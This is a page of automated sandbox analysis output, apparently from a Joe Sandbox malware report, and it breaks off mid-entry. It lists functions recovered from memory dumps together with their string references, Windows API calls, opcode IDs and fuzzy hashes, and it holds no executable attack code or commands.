Function 0611F890 Relevance: 5.2, Strings: 4, Instructions: 186COMMON

Download Yara Rule

Strings

xhq, xrefs: 0611FA1F
(hq, xrefs: 0611FADA
xhq, xrefs: 0611F9C3
(hq, xrefs: 0611FB05

Memory Dump Source

Source File: 00000000.00000002.3553005905.0000000006110000.00000040.00000800.00020000.00000000.sdmp, Offset: 06110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6110000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID: (hq$(hq$xhq$xhq
API String ID: 0-4020862528
Opcode ID: ad0ec690a4241a9e2aa27f5d9d8e1e8ee2f20b313749584b21458bab5ac58b63
Instruction ID: 76bb889a650d4176e734be11de62ff810a9bafb4ddd0b6270b5fb8c1ecd36fd0
Opcode Fuzzy Hash: ad0ec690a4241a9e2aa27f5d9d8e1e8ee2f20b313749584b21458bab5ac58b63
Instruction Fuzzy Hash: B06181307002049FDB559F68D460BAE7BE2EF85310F5485A9E91A9F3A5CB36EC43CB91

Function 02109680 Relevance: 3.2, Strings: 2, Instructions: 703COMMON

Download Yara Rule

Strings

$dq, xrefs: 0210A1C7
$dq, xrefs: 0210A1A4

Memory Dump Source

Source File: 00000000.00000002.3549432156.0000000002100000.00000040.00000800.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2100000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID: $dq$$dq
API String ID: 0-2340669324
Opcode ID: fef155a8a7289257f1977e126fa710a349470fe0301c0eb8f1ab168d04212e22
Instruction ID: f86887275217dce3331b1307c57401f226f14c3bfe04230a7c980d0e48e03de8
Opcode Fuzzy Hash: fef155a8a7289257f1977e126fa710a349470fe0301c0eb8f1ab168d04212e22
Instruction Fuzzy Hash: AE521F74A04218CFEB259BA4C864B9EBBB3FF89301F1080AAC10A6B795DF355D85DF51

Function 02107118 Relevance: 2.8, Strings: 2, Instructions: 327COMMON

Download Yara Rule

Strings

Hhq, xrefs: 02107203
Hhq, xrefs: 02107236

Memory Dump Source

Source File: 00000000.00000002.3549432156.0000000002100000.00000040.00000800.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2100000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID: Hhq$Hhq
API String ID: 0-2450388649
Opcode ID: 6e7b3a1629fa58ec37b3f84c2f2af5d625b6611da0b4aebdcf79c8e2f5420ec6
Instruction ID: 82e9c1033612676aef53f9e17761d63173209f6541ca7dd1edb78c29bdc744c6
Opcode Fuzzy Hash: 6e7b3a1629fa58ec37b3f84c2f2af5d625b6611da0b4aebdcf79c8e2f5420ec6
Instruction Fuzzy Hash: DAB1D4707442159FDB199F34C498B6EBBE2AF88304F158869E846CB3D5CBB4EC02C791

Function 02107678 Relevance: 2.7, Strings: 2, Instructions: 229COMMON

Download Yara Rule

Strings

,hq, xrefs: 02107758
,hq, xrefs: 0210774E

Memory Dump Source

Source File: 00000000.00000002.3549432156.0000000002100000.00000040.00000800.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2100000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID: ,hq$,hq
API String ID: 0-3475114797
Opcode ID: e07840586c955c2b1f561afcaa459539f85799db2e0101fbc392bb21a6df32c9
Instruction ID: 2a869f062f75d59250b1b9c1e660f975327c6a1e0b47558c9a660f9f7f34dbd1
Opcode Fuzzy Hash: e07840586c955c2b1f561afcaa459539f85799db2e0101fbc392bb21a6df32c9
Instruction Fuzzy Hash: 08818F34A401059FDB14DF69C4C8AA9F7B2BF89314B15816AD416D73E4DBB0F842CBA4

Function 060B8ED0 Relevance: 2.7, Strings: 2, Instructions: 210COMMON

Download Yara Rule

Strings

(&dq, xrefs: 060B8FEB
(hq, xrefs: 060B90AA

Memory Dump Source

Source File: 00000000.00000002.3552986374.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60b0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID: (&dq$(hq
API String ID: 0-215397407
Opcode ID: 051d0d2970487b0f454589e31c58a170e02fb28b61b04bc3faf10b281ed7d8b2
Instruction ID: 744df99ef3f6d2ba7882554476786a89b8ba25c4c5afc7c149d05b8d5bc91d14
Opcode Fuzzy Hash: 051d0d2970487b0f454589e31c58a170e02fb28b61b04bc3faf10b281ed7d8b2
Instruction Fuzzy Hash: 9A719131F402195FDB55DFB9C850AEEBBF6AF89700F148569E406A7380DE34AD42C7A1

Function 0210AE20 Relevance: 2.6, Strings: 2, Instructions: 147COMMON

Download Yara Rule

Strings

4'dq, xrefs: 0210AF5D
4'dq, xrefs: 0210AF74

Memory Dump Source

Source File: 00000000.00000002.3549432156.0000000002100000.00000040.00000800.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2100000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID: 4'dq$4'dq
API String ID: 0-2306408947
Opcode ID: 9efcc1f862b16fbd0110a81a3e2078831973359b6936ce166d9e640d6723e169
Instruction ID: 7a4e18c65888c47261f35a8fc0eb34cf80b2d043ddceba45fee42474841e62f9
Opcode Fuzzy Hash: 9efcc1f862b16fbd0110a81a3e2078831973359b6936ce166d9e640d6723e169
Instruction Fuzzy Hash: D851AF757003059FDB04CB68D894B6EBBE6FF88314F148465EA19CB291EBB5DC01CB91

Function 02101190 Relevance: 1.8, Strings: 1, Instructions: 547COMMON

Download Yara Rule

Strings

LRdq, xrefs: 0210141F

Memory Dump Source

Source File: 00000000.00000002.3549432156.0000000002100000.00000040.00000800.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2100000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID: LRdq
API String ID: 0-3106745678
Opcode ID: e9931bd573b4cce2be16ead57a4aab06a727b573011215469e8a28cbfc7ec568
Instruction ID: a7bd414b7e1744b9d225de88175084ec3492954e628a8b4d078a710f4fb90a47
Opcode Fuzzy Hash: e9931bd573b4cce2be16ead57a4aab06a727b573011215469e8a28cbfc7ec568
Instruction Fuzzy Hash: 8652D974D00219CFCB54EF64E998A9DBBB2FB49301F1059A5D40AB7369DB301E8ADF81

Function 021011A0 Relevance: 1.8, Strings: 1, Instructions: 543COMMON

Download Yara Rule

Strings

LRdq, xrefs: 0210141F

Memory Dump Source

Source File: 00000000.00000002.3549432156.0000000002100000.00000040.00000800.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2100000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID: LRdq
API String ID: 0-3106745678
Opcode ID: 3dd451dd597e89821ee5c85acaeb6c5c3df52744fec25574c273edab6b3e530e
Instruction ID: 8370f68129c7d4102c183753dd3474ca74956b62e8ae3407c1840a6697b8f394
Opcode Fuzzy Hash: 3dd451dd597e89821ee5c85acaeb6c5c3df52744fec25574c273edab6b3e530e
Instruction Fuzzy Hash: 6952C974D00219CFCB54EF64E998A9DBBB2FB49301F1059A5D40AB7369DB301E8ADF81

Function 069443CA Relevance: 1.7, APIs: 1, Instructions: 207COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0694462E

Memory Dump Source

Source File: 00000000.00000002.3553371981.0000000006940000.00000040.00000800.00020000.00000000.sdmp, Offset: 06940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6940000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 0b194cd820970f6289281b52d3f920b675c49552948ec36407057bdc244213dc
Instruction ID: 61535a40d623f52d67ca2a70c487b6978b2a688ca8305a3473b1d109c0b222c8
Opcode Fuzzy Hash: 0b194cd820970f6289281b52d3f920b675c49552948ec36407057bdc244213dc
Instruction Fuzzy Hash: D0816870A00B058FDB64EF2AD445B5ABBF5FF88704F108A2DD486DBA40DB74E845CB90

Function 069465A4 Relevance: 1.6, APIs: 1, Instructions: 123COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 069466C2

Memory Dump Source

Source File: 00000000.00000002.3553371981.0000000006940000.00000040.00000800.00020000.00000000.sdmp, Offset: 06940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6940000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 500add276104ec1ddc62671bc074de8970d65a8c02ce142c28aac0ae342ccf05
Instruction ID: 59e1b019caabedbcda5c794f4f3217298e9ab965f9ea6694fad3b43c94b16d05
Opcode Fuzzy Hash: 500add276104ec1ddc62671bc074de8970d65a8c02ce142c28aac0ae342ccf05
Instruction Fuzzy Hash: 8D51D0B1D00349DFDB14DF99C984ADEBBB5FF89310F24812AE819AB250D774A885CF90

Function 069465B0 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 069466C2

Memory Dump Source

Source File: 00000000.00000002.3553371981.0000000006940000.00000040.00000800.00020000.00000000.sdmp, Offset: 06940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6940000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 1d78adc43415040ae7f7a5121c5f4444bc3f81edb695496fa57c1a0a4b9bc907
Instruction ID: 2f60adc34f200e4ea1a562d15ed719bc5fdbd310362b159c48bcbcf43fd4c54b
Opcode Fuzzy Hash: 1d78adc43415040ae7f7a5121c5f4444bc3f81edb695496fa57c1a0a4b9bc907
Instruction Fuzzy Hash: 9641C0B1D00349DFDB14DF9AC984ADEBBB5BF89310F24812AE819AB250D7749845CF90

Function 0694752C Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 06948DB1

Memory Dump Source

Source File: 00000000.00000002.3553371981.0000000006940000.00000040.00000800.00020000.00000000.sdmp, Offset: 06940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6940000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: 9984a84f3f7661841aa84484feb9ae8a86aa38129a0e94e41ed24faaa3333065
Instruction ID: 9baeffe54a9492accc04c5b864ef4e0505e9c796688477b5808da0f14084265c
Opcode Fuzzy Hash: 9984a84f3f7661841aa84484feb9ae8a86aa38129a0e94e41ed24faaa3333065
Instruction Fuzzy Hash: 8E4136B4900309CFDB54DF99C988EAABBF5FB98310F24C45AD519AB721C734E841CBA0

Function 061AB978 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 061ABA07

Memory Dump Source

Source File: 00000000.00000002.3553158079.00000000061A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61a0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 9aaf58e8d8e1598c66cb365a3753d1e0950d077de6d5d5a77de1e0ef451790b8
Instruction ID: f15197221547ac2ef806630bc37299775b71ce73b27c31d71691772ce3408d2e
Opcode Fuzzy Hash: 9aaf58e8d8e1598c66cb365a3753d1e0950d077de6d5d5a77de1e0ef451790b8
Instruction Fuzzy Hash: D82105B5D003499FDB10CFAAD984ADEFFF5EB48320F14801AE958A7250D374A950CFA1

Function 061AB980 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 061ABA07

Memory Dump Source

Source File: 00000000.00000002.3553158079.00000000061A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 061A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_61a0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: fe1187806da06bab21cf038ec68485acc8ddf8bac2f382823d7c4998ffaf1725
Instruction ID: 0d0944877dace8d822ecb3faef4bac8142573c896bbf81db08887c7e302f5997
Opcode Fuzzy Hash: fe1187806da06bab21cf038ec68485acc8ddf8bac2f382823d7c4998ffaf1725
Instruction Fuzzy Hash: 4021C2B59003489FDB10CFAAD984ADEBBF9EB48320F14845AE958A3350D374A954CFA5

Function 05EC9BBF Relevance: 1.6, APIs: 1, Instructions: 62libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00000000), ref: 05EC9D01

Memory Dump Source

Source File: 00000000.00000002.3552946020.0000000005EC0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05EC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5ec0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 09e9bce87e306703d91ae81579c9a5dd489443d4ea187cbffe84972a8e198614
Instruction ID: 10340655e131580fd2944633842be5c07dccaa1bcdfd28593f3c291e341386ce
Opcode Fuzzy Hash: 09e9bce87e306703d91ae81579c9a5dd489443d4ea187cbffe84972a8e198614
Instruction Fuzzy Hash: 20116D74A011088FDB04DBA8D684EBDBBF5FB88304F1491A9E844E7352E730EC42CB60

Function 069445C8 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 0694462E

Memory Dump Source

Source File: 00000000.00000002.3553371981.0000000006940000.00000040.00000800.00020000.00000000.sdmp, Offset: 06940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6940000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: ebe8341dd44700564520f0ceb6549c456563ee4bb2d0e2a8daf46d2b6264754c
Instruction ID: 09692dd8ad36e5e65c66291e831737c6b90f0899dc8502885e265c14033697ad
Opcode Fuzzy Hash: ebe8341dd44700564520f0ceb6549c456563ee4bb2d0e2a8daf46d2b6264754c
Instruction Fuzzy Hash: 3D1110B6C003498FCB10DF9AD844BDEFBF8EB88324F10846AD829A7600C374A545CFA5

Function 00401870 Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040AF66: _malloc.LIBCMT ref: 0040AF80

SysAllocString.OLEAUT32 ref: 00401898

Memory Dump Source

Source File: 00000000.00000002.3548712378.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3548694901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3548735954.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3548753220.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3548753220.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3548753220.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3548805275.0000000000436000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID: AllocString_malloc
String ID:
API String ID: 959018026-0
Opcode ID: 2b2277ba2f7599175ad158743716730806d9da3e8ba5769d67c84622d6ab0768
Instruction ID: c2922591c351a4c461934d9b8210169c8be4224f150a02a6988c85a72df9e820
Opcode Fuzzy Hash: 2b2277ba2f7599175ad158743716730806d9da3e8ba5769d67c84622d6ab0768
Instruction Fuzzy Hash: BEF02073501322A7E3316B658841B47B6E8DF80B28F00823FFD44BB391D3B9C85082EA

Function 0040D534 Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNEL32(00000000,00001000,00000000), ref: 0040D549

Memory Dump Source

Source File: 00000000.00000002.3548712378.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3548694901.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3548735954.000000000041B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3548753220.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3548753220.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3548753220.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3548805275.0000000000436000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
Instruction ID: a29dbb507fbbbc11cf477c5ad410ace9233c9b691e3651c0b65acef059567112
Opcode Fuzzy Hash: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
Instruction Fuzzy Hash: E8D05E36A54348AADB11AFB47C08B623BDCE388396F404576F80DC6290F678D641C548

Function 0611F050 Relevance: 1.4, Strings: 1, Instructions: 172COMMON

Download Yara Rule

Strings

LRdq, xrefs: 0611F0D9

Memory Dump Source

Source File: 00000000.00000002.3553005905.0000000006110000.00000040.00000800.00020000.00000000.sdmp, Offset: 06110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6110000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID: LRdq
API String ID: 0-3106745678
Opcode ID: 95fd111db3315b285094ca2304dd6c7e36306bdab402764e91158f21890a10d0
Instruction ID: 8186fbd9e1097a98a49330d93ad914ab21487ae6dcd48db31987bb7066fbf317
Opcode Fuzzy Hash: 95fd111db3315b285094ca2304dd6c7e36306bdab402764e91158f21890a10d0
Instruction Fuzzy Hash: 1B51AC74F001158FCB44EF78C8949AE7BF6AF89614B1586A9E41ADF3A0DB30DC02CB91

Function 0210C0E0 Relevance: 1.4, Strings: 1, Instructions: 123COMMON

Download Yara Rule

Strings

(odq, xrefs: 0210C269

Memory Dump Source

Source File: 00000000.00000002.3549432156.0000000002100000.00000040.00000800.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2100000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID: (odq
API String ID: 0-567950297
Opcode ID: 7b3e890594a5ac972ead7791f52d5156b365e8df575d967d771519d865577b31
Instruction ID: 2a811e504a2ecba728c2ea45641e5b8c6575e976c68c53cb422ee35af1996556
Opcode Fuzzy Hash: 7b3e890594a5ac972ead7791f52d5156b365e8df575d967d771519d865577b31
Instruction Fuzzy Hash: 6241E335B402449FCB189BA8D8A8AEE7BB2AFDC611F14456AE506D7390DF718C02CB91

Function 02106EE8 Relevance: 1.3, Strings: 1, Instructions: 41COMMON

Download Yara Rule

Strings

d8iq, xrefs: 02106F30

Memory Dump Source

Source File: 00000000.00000002.3549432156.0000000002100000.00000040.00000800.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2100000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID: d8iq
API String ID: 0-742758948
Opcode ID: a7131bd4512890ee986745f56dac7c80058839accf96603cfd877f9de4cd90ac
Instruction ID: c9b1af6a4e0b8ce35718ac91fb806907b4b5cace5fb15312fc3e5b8b7e2ae00f
Opcode Fuzzy Hash: a7131bd4512890ee986745f56dac7c80058839accf96603cfd877f9de4cd90ac
Instruction Fuzzy Hash: 9F01F1303007858FCB21DB3AC4A4B1ABBE5AF81305F048999D09A8B692DBA0E8458750

Function 0210E7C8 Relevance: .7, Instructions: 668COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3549432156.0000000002100000.00000040.00000800.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2100000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5744312f02b5c69c6ade57745287d52d3ce1436ad52f4b9d56826dbd949d0c4
Instruction ID: 693eca3cdd605a320955e3a2842e23a5eb090e28edae3cc5d059fc3178ecef99
Opcode Fuzzy Hash: f5744312f02b5c69c6ade57745287d52d3ce1436ad52f4b9d56826dbd949d0c4
Instruction Fuzzy Hash: 1922C9344657469FD3407F3AA6AC16EBBA8FF5F727700AD42E14A82809DF381859CE71

Function 0210E7F8 Relevance: .6, Instructions: 649COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3549432156.0000000002100000.00000040.00000800.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2100000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b1f8f9786e8e3d53d66b3a92a41f0d3ee66c8be30879ce217f43118de8739bd2
Instruction ID: 1a9f504af72103911205b543dce183291af51d7cde41c92f04bd7ffb0eaea52b
Opcode Fuzzy Hash: b1f8f9786e8e3d53d66b3a92a41f0d3ee66c8be30879ce217f43118de8739bd2
Instruction Fuzzy Hash: 1C12B9344617479F93447F3AA6AC16EBBA8FF4F727700AD42E14A92809DF381859DE70

Function 02100890 Relevance: .3, Instructions: 289COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3549432156.0000000002100000.00000040.00000800.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2100000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f3f81d7f3073f512060755f20e81ccfe3be80f50dd81424206bd20e49d1aecbc
Instruction ID: cadf2302ba60a40a8bfef7bd59b89861ca3c3bce0e95b4d4fbfb4d6ac861b8d5
Opcode Fuzzy Hash: f3f81d7f3073f512060755f20e81ccfe3be80f50dd81424206bd20e49d1aecbc
Instruction Fuzzy Hash: 3FB115387406008FD754DB29C998B2ABBE2FF89714B1581A9E50ACB3B5DB71EC05CB80

Function 02100881 Relevance: .2, Instructions: 247COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3549432156.0000000002100000.00000040.00000800.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2100000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0117aa8299e7a9f4e4d4f553c105bbe0a169f1313b4ba2bceb3b045591532f75
Instruction ID: 27d5a9115d053136eba71bc6b2aa09eb16b423b853dc5e2c432183a7cade04e3
Opcode Fuzzy Hash: 0117aa8299e7a9f4e4d4f553c105bbe0a169f1313b4ba2bceb3b045591532f75
Instruction Fuzzy Hash: A4A105387406008FD754DF29C598E2ABBE6FF89715B5680A8E50ACB3B5DB71EC05CB80

Function 0210AC00 Relevance: .2, Instructions: 245COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3549432156.0000000002100000.00000040.00000800.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2100000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f470dbec43c4c6bef65a7dcb52585e0660a24d6718682cd1f4c3934954233a2
Instruction ID: 1bdd3fe3ef2614368c0dacc46971d8bd820e74ec953a728b02f789e0e12cc33a
Opcode Fuzzy Hash: 8f470dbec43c4c6bef65a7dcb52585e0660a24d6718682cd1f4c3934954233a2
Instruction Fuzzy Hash: 559115309017099FC711CB2CC9D45EABBB2FF85324B258666DA558B395C731EC16CBA0

Function 060B9CB8 Relevance: .2, Instructions: 242COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3552986374.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60b0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c140772a7c79f723f532faf556c3d319bea6ba90101a31ead3bc50d64c8d002
Instruction ID: a18ffe1c743680cb508ba7fd7e47f638dc65ca05f1b23dbaf11c26102741b3f2
Opcode Fuzzy Hash: 5c140772a7c79f723f532faf556c3d319bea6ba90101a31ead3bc50d64c8d002
Instruction Fuzzy Hash: 38C1C074E012299FDBA4DF69C854BDEBBB2BB48300F1085EAD50DA7290DB709E85CF51

Function 060B9CC8 Relevance: .2, Instructions: 234COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3552986374.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60b0000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bdf2b84481302b477958e5f887947c3f36adfeac1754c4e30775baa81509fb0
Instruction ID: c7867524701bd51172668a27d45af74fe0d313349d7fbae97af97f94ff1ec1ab
Opcode Fuzzy Hash: 3bdf2b84481302b477958e5f887947c3f36adfeac1754c4e30775baa81509fb0
Instruction Fuzzy Hash: B6B1BF74E002299FDBA4DF69C854BDEBBB2BB48300F1085EAD50DA7290DB709E85CF51

Function 021092C8 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3549432156.0000000002100000.00000040.00000800.00020000.00000000.sdmp, Offset: 02100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2100000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31068399eeb2bdf811035949116548c25577020223326fad30c776acbc062355
Instruction ID: 3d946b478b2a95954c90f4618d2d5da4db1d0ed8a5a4ecb84b56e24d99bff3f5
Opcode Fuzzy Hash: 31068399eeb2bdf811035949116548c25577020223326fad30c776acbc062355
Instruction Fuzzy Hash: 49716C347806458FCB18DF28C5E8AAE7BE6AF49A04F1500A5E906CB3F2DBB4DC41CB51

Function 0611DD49 Relevance: .2, Instructions: 181COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3553005905.0000000006110000.00000040.00000800.00020000.00000000.sdmp, Offset: 06110000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6110000_173261064444feee4c05378d5cb0bdc1a536ff9f623e28d93246c641e622bd865a85d1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e59884911fa25db1f469ccd994349d1c837d78483777fb0eda96988f6932c42
Instruction ID: e8eed7613dc55568b0d069a5e7b901d59f4d8991fa2a7c72efb802af98b1b694
Opcode Fuzzy Hash: 1e59884911fa25db1f469ccd994349d1c837d78483777fb0eda96988f6932c42
Instruction Fuzzy Hash: 3181B074E412289FDB65DF69D854BEDBBB2AF89304F1090EAD809A7294DB305E81CF40

Function 060B9950 Relevance: .2, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3552986374.00000000060B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060B0000, based on PE: false

Joe Sandbox IDA Plugin

